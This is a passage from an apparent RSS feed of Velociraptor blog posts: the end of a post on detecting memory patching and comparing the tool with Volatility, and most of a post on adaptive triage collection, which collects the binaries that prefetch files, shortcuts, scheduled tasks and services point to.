    &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Output from the Windows.Memory.Mem2Disk artifact&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The artifact also allows uploading the different memory regions for&#xA;further inspection.&lt;/p&gt;&#xA;&lt;p&gt;On my system the &lt;code&gt;Windows.Memory.Mem2Disk&lt;/code&gt; artifact completes a full&#xA;scan of all running processes in under 2 seconds.&lt;/p&gt;&#xA;&lt;h1 id=&#34;discussion&#34;&gt;Discussion&lt;/h1&gt;&#xA;&lt;p&gt;In this post we saw how some of the memory analysis tools available in&#xA;Velociraptor can be combined to write some very sophisticated&#xA;detections for memory patching attacks.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s compare those memory analysis primitives we explored in this&#xA;article, with Volatility&amp;rsquo;s plugins:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The &lt;code&gt;pslist&lt;/code&gt; plugin is similar - Velociraptor&amp;rsquo;s plugin returns&#xA;similar results to Volatility&amp;rsquo;s &lt;code&gt;pslist&lt;/code&gt; plugin, except that&#xA;Velociraptor&amp;rsquo;s plugin uses the APIs, making it much faster and&#xA;absolutely reliable. Volatility&amp;rsquo;s &lt;code&gt;pslist&lt;/code&gt; plugin parses internal&#xA;kernel structures, depends on memory profiles which can be fragile&#xA;and is susceptible to memory smear (e.g. process linked list may be&#xA;broken due to smear causing many processes to be missed).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s &lt;code&gt;vad()&lt;/code&gt; plugin is very similar to Volatility&amp;rsquo;s &lt;code&gt;vad&lt;/code&gt;&#xA;plugin, but uses the APIs to obtain its data, hence the results are&#xA;coherent and reliable.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;When converting from kernel paths to filesystem paths, we used&#xA;Velociraptor&amp;rsquo;s &lt;code&gt;winobj&lt;/code&gt; plugin which is similar to Volatility&amp;rsquo;s&#xA;&lt;code&gt;winobj&lt;/code&gt; plugin.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Parsing the Dll from disk we used Velociraptor&amp;rsquo;s powerful&#xA;&lt;code&gt;parse_pe()&lt;/code&gt; plugin which gives a lot of details about the PE file,&#xA;including sections, exports etc.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;When reading process memory, we used &lt;code&gt;read_file()&lt;/code&gt; with the process&#xA;accessor. Volatility has similar internal facilities to reconstruct&#xA;the process virtual address space from the physical memory&#xA;image. However, this capability is limited because much of the PE&#xA;mapped section is not memory resident into physical memory. Windows&#xA;maps the DLL lazily such that data is read from disk only when&#xA;needed. This typically means that dumping process memory from&#xA;Volatility is unreliable as it is missing large chunks of the&#xA;binary.&lt;/p&gt;&#xA;&lt;p&gt;To be fair, if the binary is patched in memory, then the page will&#xA;be allocated (using copy-on-write semantics) and it is likely to be&#xA;resident. So Volatility is likely to still find all the patched&#xA;pages in physical memory.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Resolving function names we used the &lt;code&gt;describe_address()&lt;/code&gt; plugin,&#xA;which caches much of the data, so it is very fast to resolve many&#xA;addresses.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s memory analysis does not require a memory image, and&#xA;yields better results. It is typically much faster and can be deployed&#xA;at scale over a large number of endpoints. Since the logic is written&#xA;in VQL, we can tweak and improve the query over time without needing&#xA;to deploy new binaries or endpoints.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s VQL language is fast and multithreaded, allowing very&#xA;fast scanning. If needed, Velociraptor&amp;rsquo;s queries can be CPU limited&#xA;too so we can balance speed over endpoint resource usage.&lt;/p&gt;&#xA;&lt;p&gt;So is it always better to use Velociraptor&amp;rsquo;s memory analysis? Not&#xA;always. The main disadvantage with Velociraptor&amp;rsquo;s approach is that&#xA;data is obtained from standard API calls. This means that the&#xA;operating system can enforce security restrictions on the data&#xA;Velociraptor can access.&lt;/p&gt;&#xA;&lt;p&gt;It is quite normal for Velociraptor to be unable to read some process&#xA;memory - either due to a security product preventing this operation,&#xA;or because the target process is protected by the operating system&#xA;(e.g. &lt;a href=&#34;https://learn.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-&#34; target=&#34;_blank&#34; &gt;Protected Process Light&#xA;(PPL)&lt;/a&gt;). In&#xA;this case we will see messages such as &lt;code&gt;vad: OpenProcess for pid 1004 (csrss.exe) : Access is denied.&lt;/code&gt; limiting our access to some processes.&lt;/p&gt;&#xA;&lt;p&gt;Does it matter? It depends. If the malware has a higher level of access&#xA;than Velociraptor (e.g. if it is running in kernel mode, or is signed&#xA;as a PPL process) then it might be able to hide in those protected&#xA;processes that Velociraptor cannot access.&lt;/p&gt;&#xA;&lt;p&gt;But then again, if the malware has such privilege it can easily stop a&#xA;driver from loading to prevent physical memory acquisition as well -&#xA;it becomes an arms race.&lt;/p&gt;&#xA;&lt;h1 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h1&gt;&#xA;&lt;p&gt;When analysts think of developing a new memory analysis technique,&#xA;they often immediately go to a physical memory image with a framework&#xA;like Volatility. I hope you have seen that this is not necessary and that&#xA;Velociraptor&amp;rsquo;s VQL actually makes things much easier to develop and&#xA;can produce more reliable results.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s binary parser is also very powerful (it was inspired&#xA;from Volatility&amp;rsquo;s internal parser) so you have similar tools for&#xA;parsing complex binary structures as those that Volatility provides.&lt;/p&gt;&#xA;&lt;p&gt;If you like to try the new &lt;code&gt;Windows.Memory.Mem2Disk&lt;/code&gt; artifact, take&#xA;Velociraptor for a spin !  It is available on GitHub under an open&#xA;source license. As always please file issues on the bug tracker or ask&#xA;questions on our mailing list &lt;code&gt;velociraptor-discuss@googlegroups.com&lt;/code&gt;&#xA;. You can also chat with us directly on discord&#xA;&lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt; .&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Adaptive Collections with Velociraptor</title>
      <link>https://www.velociraptor-docs.org/blog/2025/2025-09-28-adaptive-collections/</link>
      <pubDate>Sat, 30 Aug 2025 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2025/2025-09-28-adaptive-collections/</guid>
      <description>&lt;p&gt;I recently joined the great folk at &lt;a href=&#34;https://www.cybertriage.com/&#34; target=&#34;_blank&#34; &gt;Cyber&#xA;Triage&lt;/a&gt; on a webinar to explore the new&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/exchange/artifacts/pages/cybertriagecollector/&#34;&gt;CyberTriage Velociraptor artifact&lt;/a&gt;. I was excited&#xA;to be talking with them since I heard great things about Cyber Triage&#xA;and really wanted to learn more about it.&lt;/p&gt;&#xA;&lt;p&gt;One of the interesting features they presented was the concept of&#xA;&lt;a href=&#34;https://www.cybertriage.com/cyber-triage-dfir-collector/&#34; target=&#34;_blank&#34; &gt;Adaptive&#xA;Collection&lt;/a&gt;&#xA;which I thought was quite neat.&lt;/p&gt;&#xA;&lt;p&gt;In this blog post I will describe what &amp;ldquo;Adaptive Collection&amp;rdquo; means and&#xA;how this really improves the state of the art in DFIR triage. I will&#xA;also show how this is now implemented in Velociraptor and how you can&#xA;use it today to improve your triage and investigation.&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-is-triage-collection-anyway&#34;&gt;What is Triage collection anyway?&lt;/h2&gt;&#xA;&lt;p&gt;DFIR is all about trying to quickly determine what happened. In the distant past&#xA;we used to acquire full disk images of systems so we could perform digital&#xA;forensics on them. However, these days this is usually highly impractical:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Hard disks have become so large that imaging them, copying the images&#xA;elsewhere, storing and working with them is often impractical, especially&#xA;since speed is a critical aspect of every investigation.&lt;/li&gt;&#xA;&lt;li&gt;In modern network intrusions we usually need to examine a large number of&#xA;endpoints. Aside from storage constraints, the time required to make full disk&#xA;images of potentially thousands of machines puts this option in the realm of&#xA;the impossible.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Today&amp;rsquo;s best practice is to actively hunt the network with a tool like&#xA;Velociraptor to quickly gather specific, well-targeted artifacts&#xA;across a large number of endpoints.&lt;/p&gt;&#xA;&lt;p&gt;Through efficient distributed hunts the number of systems of interest is&#xA;reduced. We may then perform &lt;em&gt;Triage Acquisition&lt;/em&gt; for the purpose of&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/training/playbooks/preservation/&#34;&gt;preservation of evidence&lt;/a&gt;.&#xA;We often need to delegate the Triage Acquisition step to others who have&#xA;access to the affected systems (for example Help Desk employees or system&#xA;administrators).&lt;/p&gt;&#xA;&lt;p&gt;Triage Acquisition has a number of goals:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;To acquire as much relevant information as possible to be able to determine&#xA;what happened on the system. In many cases we only get one chance&#xA;to perform triage acquisition, before the system is rebuilt and evidence is&#xA;destroyed.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;To perform this collection as quickly as possible. Some critical servers can&#xA;not tolerate prolonged outages or resource-intensive investigative activity.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Triage collection should be as automated as possible. Ideally the person&#xA;initiating the collection should not need to provide any input to the&#xA;collection process. They may not be skilled in DFIR techniques nor be&#xA;accustomed to making critical decisions under pressure.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;These goals call for a high level of automation.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/docs/deployment/offline_collections/&#34;&gt;offline collector&lt;/a&gt;&#xA;is specifically designed to be fully automated - the operator simply needs to&#xA;run it and a triage collection is made. The collection can be uploaded to the&#xA;cloud or returned to the investigation team some other (potentially out-of-band)&#xA;way.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-09-28-adaptive-collections//blog/2025/2025-09-28-adaptive-collections/offline_process_.svg&#34; alt=&#34;The offline triage process&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;371.35759383814633&#34;&#xA;         width=&#34;821.52153753842&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;offline_process.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    The offline triage process&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The main takeaway from this diagram is that it is difficult to iterate&#xA;over the collection with the offline process. Initiating a new&#xA;collection required repeating the entire process again with potential&#xA;manual intervention.&lt;/p&gt;&#xA;&lt;p&gt;Therefore it is desirable to collect as much as possible in the first&#xA;place to minimize the need to go back and re-collect more data.&lt;/p&gt;&#xA;&lt;p&gt;While it would be nice to collect as much as possible, we need to be&#xA;speedy in our collection. Therefore we need to make some tradeoffs:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The more files we collect the longer it takes and the larger the&#xA;collection gets. This makes it harder to handle more systems and&#xA;transfer more data across the network.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;However, once the collection is done it is not always possible to go&#xA;back and get more files. Sometimes systems are rebuilt the preservation step,&#xA;which puts pressure on responders to collect all relevant data in a single&#xA;acquisition step. This pressure can also lead to over-collection of data,&#xA;including irrelevant items.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;current-state-of-the-art&#34;&gt;Current state of the art&lt;/h2&gt;&#xA;&lt;p&gt;One of the more popular artifacts to use with the offline collector is&#xA;the &lt;code&gt;Windows.KapeFiles.Targets&lt;/code&gt; artifact. This artifact uses target&#xA;definitions from the&#xA;&lt;a href=&#34;https://github.com/EricZimmerman/KapeFiles&#34; target=&#34;_blank&#34; &gt;KapeFiles&lt;/a&gt; project to&#xA;collect files from the system. The project defines targets which are&#xA;essentially search globs finding particular files on the system.&lt;/p&gt;&#xA;&lt;p&gt;For example, the Windows Event logs are usually stored in&#xA;&lt;code&gt;C:\Windows\System32\winevt\logs\*.evtx&lt;/code&gt;. During a preservation triage&#xA;acquisition, one would usually collect all those files.&lt;/p&gt;&#xA;&lt;p&gt;Meta-Targets can also be defined so that when the user chooses to&#xA;collect the&#xA;&lt;a href=&#34;https://triage.velocidex.com/docs/windows.triage.targets/rules/#!BasicCollection&#34; target=&#34;_blank&#34; &gt;BasicCollection&lt;/a&gt;&#xA;target, Velociraptor will automatically collect the Event logs,&#xA;Registry, MFT etc.&lt;/p&gt;&#xA;&lt;p&gt;There are many &lt;code&gt;KapeFiles&lt;/code&gt; targets collecting files related to many&#xA;products and applications, however they are all essentially static&#xA;globs. The &lt;code&gt;Windows.KapeFiles.Targets&lt;/code&gt; artifact looks for files on disk&#xA;from this static list of pre-determined globs.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34; The new Windows.Triage.Targets artifact &#34;&gt;&lt;p&gt;Since the Velociraptor 0.75 release, the &lt;code&gt;Windows.KapeFiles.Targets&lt;/code&gt;&#xA;artifact is no longer built into Velociraptor. Instead it is managed&#xA;in its&#xA;&lt;a href=&#34;https://triage.velocidex.com/docs/windows.triage.targets/rules/&#34; target=&#34;_blank&#34; &gt;own project&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The new artifact goes beyond the using simple globs expressions, and&#xA;has therefore been renamed to &lt;code&gt;Windows.Triage.Targets&lt;/code&gt; to distinguish it from&#xA;it&amp;rsquo;s predecessor artifact.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;why-is-this-not-enough&#34;&gt;Why is this not enough?&lt;/h3&gt;&#xA;&lt;p&gt;While this is artifact is a great start, it is usually not enough.&#xA;Many of the forensic artifacts collected may point to other files that&#xA;may be found on disk, and those files are not usually collected.&lt;/p&gt;&#xA;&lt;p&gt;For example, consider the &lt;a href=&#34;https://www.velociraptor-docs.org/artifact_references/pages/windows.forensics.prefetch/&#34;&gt;prefetch artifact&lt;/a&gt; in which&#xA;Windows stores paths to previously run executables. While the location&#xA;of the prefetch files themselves is well known&#xA;(i.e. &lt;code&gt;C:\Windows\Prefetch\*.pf&lt;/code&gt;), when an analyst examines these&#xA;files, they may discover that they point at a suspicious executable&#xA;located somewhere else on the disk from which file were not acquired.&lt;/p&gt;&#xA;&lt;p&gt;During the initial triage acquisition phase there is no way to know if the&#xA;executables they point to are malicious or not. With the standard &lt;code&gt;KapeFiles&lt;/code&gt;&#xA;collections, the investigator needs to go back to the original system to get&#xA;those files.&lt;/p&gt;&#xA;&lt;p&gt;Another example is the XML files that define Windows Scheduled tasks, which are&#xA;normally located in &lt;code&gt;C:\Windows\System32\Tasks\**&lt;/code&gt;. These files point to&#xA;periodically launched executables that could be located anywhere on the disk.&lt;/p&gt;&#xA;&lt;h3 id=&#34;what-is-adaptive-collection&#34;&gt;What is Adaptive Collection?&lt;/h3&gt;&#xA;&lt;p&gt;The idea of &amp;ldquo;adaptive collection&amp;rdquo; is that the collector itself performs an&#xA;initial parsing and analysis phase and then decides based on it&amp;rsquo;s results which&#xA;additional files to collect. That is, relevant files should be collected&#xA;automatically even when not explicitly specified as collection targets.&lt;/p&gt;&#xA;&lt;p&gt;Applying an adaptive collection strategy to the previous example, the user would&#xA;specify collection of the prefetch files, but the collector would parse each&#xA;prefetch file automatically and check whether the target file exists in the&#xA;target location. For each target, if it is present, the collector will also&#xA;collect it.&lt;/p&gt;&#xA;&lt;p&gt;This way, when the analyst later examines the prefetch files, they can&#xA;immediately also inspect the related binary, without needing to&#xA;go back to the original system.&lt;/p&gt;&#xA;&lt;p&gt;Of course in the case of prefetch, it is possible that the target executable was&#xA;deleted before the acquisition. In this case the adaptive collector cannot&#xA;acquire it. But this is also an important piece of information as the analyst&#xA;then knows that the executable is actually missing and that there is no point in&#xA;trying to fetch it in a subsequent collection phase.&lt;/p&gt;&#xA;&lt;p&gt;The point of adaptive collection is to include files which may be relevant once&#xA;the basic (primary) artifacts are parsed. This avoids needing to go back and&#xA;re-collect additional files after the analysis is performed.&lt;/p&gt;&#xA;&lt;p&gt;A useful side-effect of this approach is that forensic artifacts are already&#xA;parsed and analyzed, so there is no need for further post-processing of bulk&#xA;collected files. This simplifies the post-processing pipeline and speeds up&#xA;analysis when dealing with a large number of systems.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-windowstriagetargets-artifact&#34;&gt;The Windows.Triage.Targets artifact&lt;/h2&gt;&#xA;&lt;p&gt;The &lt;code&gt;Windows.Triage.Targets&lt;/code&gt; artifact is compiled from many separate&#xA;rules. Each rule specifies one or more targets - basically a single&#xA;type of forensic artifact to acquire.&lt;/p&gt;&#xA;&lt;p&gt;You can download the &lt;code&gt;Windows.Triage.Targets&lt;/code&gt; artifact from&#xA;&lt;a href=&#34;https://triage.velocidex.com/docs/windows.triage.targets/&#34; target=&#34;_blank&#34; &gt;https://triage.velocidex.com/docs/windows.triage.targets/&lt;/a&gt; or simply&#xA;use the built in &lt;a href=&#34;https://www.velociraptor-docs.org/artifact_references/pages/server.import.extras/&#34;&gt;Server.Import.Extras&lt;/a&gt; artifact to&#xA;automatically download and import the latest version.&lt;/p&gt;&#xA;&lt;p&gt;The artifact contains many adaptive rules, for example some of these&#xA;are:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;AdaptiveScheduledTasks&lt;/code&gt;: Enumerates all scheduled tasks and&#xA;attempts to acquire the associated binaries run by them.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;LnkTargets&lt;/code&gt;: Searches for &lt;code&gt;lnk&lt;/code&gt; files and attempts to acquire their file&#xA;targets. &lt;code&gt;lnk&lt;/code&gt; files are common infection vectors.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;PrefetchBinaries&lt;/code&gt;: enumerates all prefetch files and captures the associated&#xA;executables.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;PsList&lt;/code&gt;: enumerates all running processes and captures their respective&#xA;binaries.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Services&lt;/code&gt;: enumerates all installed services and captures their binaries.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;All of the adaptive rules are triggered by the meta-target&#xA;&lt;a href=&#34;https://triage.velocidex.com/docs/windows.triage.targets/rules/#_Live&#34; target=&#34;_blank&#34; &gt;_Live&lt;/a&gt;.&#xA;So all a user needs to do is to select the &lt;code&gt;_Live&lt;/code&gt; target and collect the&#xA;artifact (Usually the &lt;code&gt;_Live&lt;/code&gt; target is selected &lt;em&gt;in addition&lt;/em&gt; to more&#xA;traditional/non-adaptive target sets like &lt;code&gt;_SansTriage&lt;/code&gt; or &lt;code&gt;_BasicCollection&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-09-28-adaptive-collections//blog/2025/2025-09-28-adaptive-collections/launching_triage_.svg&#34; alt=&#34;Launching the triage collection&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;676.3558210073326&#34;&#xA;         width=&#34;975.9157257252883&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;launching_triage.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Launching the triage collection&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Adaptive rules may substantially increase the number of files&#xA;collected. However, we rarely care about legitimate binaries which are&#xA;often signed. The way we choose if a file is to be collected is termed&#xA;the &lt;code&gt;Collection Policy&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;There are a few choices:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;code&gt;ExcludeSigned&lt;/code&gt;: This is the default policy. We collect all&#xA;adaptive targets, except if they are a trusted signed binary. Most&#xA;of the time, signed binaries are trusted already and there is no&#xA;benefit in collecting them. In practice this reduces the collection&#xA;size substantially.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;code&gt;HashOnly&lt;/code&gt; is used to simply take the hash of the file but not to&#xA;collect the file itself. This setting is useful when the client is&#xA;connected and available so interesting files may be fetched at a&#xA;later stage. The hashes and file stats are enough to indicate whether&#xA;the target files are still present on the system or not.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;code&gt;AllFiles&lt;/code&gt; Just collect all files. This is not recommended for&#xA;adaptive collections as it will also collect system files and&#xA;signed/trusted binaries.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34; Collection optimizations &#34;&gt;&lt;p&gt;Adaptive rules will sometimes attempt to collect the same file. For&#xA;example, if there are several &lt;code&gt;notepad&lt;/code&gt; processes running, the &lt;code&gt;PsList&lt;/code&gt;&#xA;rule will attempt to collect &lt;code&gt;notepad.exe&lt;/code&gt; multiple times.&lt;/p&gt;&#xA;&lt;p&gt;The triage artifact automatically caches and deduplicates these&#xA;collections so that collecting the same file multiple times is safe&#xA;and fast - only one copy will be acquired and it will be hashed only&#xA;once.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;Let&amp;rsquo;s look at the result of collecting the &lt;code&gt;PrefetchBinaries&lt;/code&gt; target:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-09-28-adaptive-collections//blog/2025/2025-09-28-adaptive-collections/prefetch_target_.svg&#34; alt=&#34;Viewing the Prefetch target&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;569.5454711914062&#34;&#xA;         width=&#34;1202.8781442684979&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;prefetch_target.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Viewing the Prefetch target&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Collecting the &lt;code&gt;PrefetchBinaries&lt;/code&gt; target will execute the standard&#xA;Velociraptor &lt;code&gt;Windows.Forensics.Prefetch&lt;/code&gt; artifact and capture all the usual&#xA;fields that the artifact returns, such as run times and other prefetch&#xA;related fields. Additionally, Velociraptor will attempt to acquire&#xA;each target if possible (if the file still exists on disk at that&#xA;location).&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;Windows.Triage.Targets&lt;/code&gt; artifact automatically captures metadata&#xA;such as last modified timestamps, hashes and authenticode status for&#xA;executables.&lt;/p&gt;&#xA;&lt;p&gt;In addition to collecting the prefetch binary targets, we also receive&#xA;all the usual output from collecting the &lt;code&gt;Windows.Forensics.Prefetch&lt;/code&gt;&#xA;artifact, saving us from having to re-collecting it later.&lt;/p&gt;&#xA;&lt;p&gt;Another example is collecting the&#xA;&lt;a href=&#34;https://triage.velocidex.com/docs/windows.triage.targets/rules/#LnkTargets&#34; target=&#34;_blank&#34; &gt;LnkTargets&lt;/a&gt;&#xA;rule. This rule analyzes &lt;code&gt;Lnk&lt;/code&gt; files (shortcuts) to extract their targets.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-09-28-adaptive-collections//blog/2025/2025-09-28-adaptive-collections/lnk_targets_.svg&#34; alt=&#34;Extracting the link targets from Lnk files&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;1073.3333333333335&#34;&#xA;         width=&#34;2283.880597014926&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;lnk_targets.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Extracting the link targets from Lnk files&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Lnk files are often created when the user edits them on the desktop,&#xA;so capturing the targets of &lt;code&gt;Lnk shortcuts&lt;/code&gt; can capture strong&#xA;evidence of user activity. In this case we see a number of files that&#xA;were edited with &lt;code&gt;Notepad&lt;/code&gt; and were captured (assuming they were still&#xA;present).&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-registry-hunter&#34;&gt;The Registry Hunter&lt;/h2&gt;&#xA;&lt;p&gt;Registry analysis is a powerful and critical tool in the Digital&#xA;Forensics arsenal. The Windows registry contains a wealth of&#xA;information about system state, while many persistence techniques&#xA;leave traces in the registry.&lt;/p&gt;&#xA;&lt;p&gt;Traditionally, registry analysis is performed on the raw registry&#xA;hives (collected using, for example, the &lt;code&gt;KapeFiles&lt;/code&gt; artifact). These&#xA;files are analysed using tools such as &lt;a href=&#34;https://github.com/keydet89/RegRipper4.0&#34; target=&#34;_blank&#34; &gt;Reg&#xA;Ripper&lt;/a&gt; or &lt;a href=&#34;https://www.sans.org/tools/registry-explorer&#34; target=&#34;_blank&#34; &gt;Registry&#xA;Explorer&lt;/a&gt;. These tools&#xA;operate on collected registry hives and contain rules designed to&#xA;extract specific pieces of information from various registry keys.&lt;/p&gt;&#xA;&lt;p&gt;Recently, The Velociraptor team has started the &lt;a href=&#34;https://registry-hunter.velocidex.com/&#34; target=&#34;_blank&#34; &gt;Registry&#xA;Hunter&lt;/a&gt; project. This project&#xA;aims to develop a fully featured rule-based registry parser, and&#xA;contains a large (and growing) number of&#xA;&lt;a href=&#34;https://registry-hunter.velocidex.com/docs/rules/&#34; target=&#34;_blank&#34; &gt;rules&lt;/a&gt;. Many of&#xA;the rules in the Registry Hunter also attempt to uncover evidence of&#xA;persistence through various registry artifacts.&lt;/p&gt;&#xA;&lt;p&gt;While the Registry Hunter can operate on collected hive files, it can&#xA;also operate on the live system using a mixture of API based registry&#xA;access and raw hive parsing. Therefore, the Registry Hunter running on&#xA;a live system is ideally positioned to perform Adaptive Collection&#xA;as described above.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-09-28-adaptive-collections//blog/2025/2025-09-28-adaptive-collections/registry_hunter.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;The Registry Hunter Collection options&#34;&#xA;         width=&#34;1469&#34; height=&#34;715&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       